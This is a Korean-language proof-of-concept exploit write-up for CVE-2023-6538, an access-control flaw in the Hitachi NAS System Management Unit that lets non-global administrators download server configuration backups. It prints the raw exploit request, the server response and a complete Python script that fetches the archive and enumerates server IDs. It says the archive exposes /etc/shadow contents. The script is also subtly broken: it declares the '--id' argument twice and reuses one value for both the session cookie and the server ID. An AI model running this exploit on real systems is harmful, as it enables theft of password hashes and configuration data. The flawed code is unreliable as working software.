
개념 증명 익스플로잇 for CVE-2023-6538, Hitachi NAS 시스템 관리 장치의 IDOR 취약점으로, 권한 없는 사용자가 민감한 데이터가 포함된 서버 구성 백업을 다운로드할 수 있습니다.
CVE-2023-6538는 Hitachi NAS (HNAS)의 System Management Unit (SMU) Configuration Backup & Restore 기능에서 발견된 취약한 직접 객체 참조(IDOR) 취약점입니다. 이 취약점은 SMU 버전 14.8.7825.01 이전에 영향을 미칩니다.
이 익스플로잇은 공격자가 Read-Only 또는 Global Administrator가 아닌 사용자 계정의 자격 증명을 통제해야 합니다. 즉:
Storage AdministratorServer AdministratorServer + Storage Administrator설계상, Global Administrator 역할을 가진 사용자는 SMU의 Configuration Backup & Restore 기능에 접근할 수 있어야 합니다. 이 기능은 https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1에 위치하며, 다음 요청을 보내면 선택한 서버(즉, SMU에 연결된 서버)의 구성 백업을 생성하고 다운로드합니다:
GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
요청이 성공하면, SMU는 다음 응답으로 응답하고 registry_data.tgz의 다운로드를 시작합니다:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU
[DATA]
그러나 SMU의 비즈니스 로직에서의 감독으로 인해, Storage Administrator, Server Administrator 또는 Server + Storage Administrator 계정에 접근할 수 있는 공격자는 JSESSIONID 및 JSESSIONIDSSO 쿠키를 자신이 보유한 사용자의 쿠키와 일치하도록 업데이트하여 구성 아카이브를 다운로드할 수 있습니다. 또한, 공격자는 요청의 serverid 매개변수를 업데이트하여 SMU에 연결된 다른 서버의 구성 아카이브를 열거하고 다운로드할 수 있습니다.
따라서 CVE-2023-6538.py와 같은 스크립트를 사용하여 이 취약점을 익스플로잇할 수 있습니다:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)
CVSS v3.1 점수 7.6의 근거는 registry_data.tgz를 검사함으로써 더 잘 이해할 수 있습니다:
$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1
1 directory, 14 files
.tgz 아카이브에는 SMU에 연결된 서버에 대한 다양한 설정 및 정보가 포함되어 있습니다:

위의 편집된 이미지에서 볼 수 있듯이, registry5.db1에는 선택한 서버의 /etc/shadow 내용(정규식을 통해 발견됨)이 포함되어 있습니다.
이 취약점은 CVE-2023-5808의 "자매 취약점"입니다.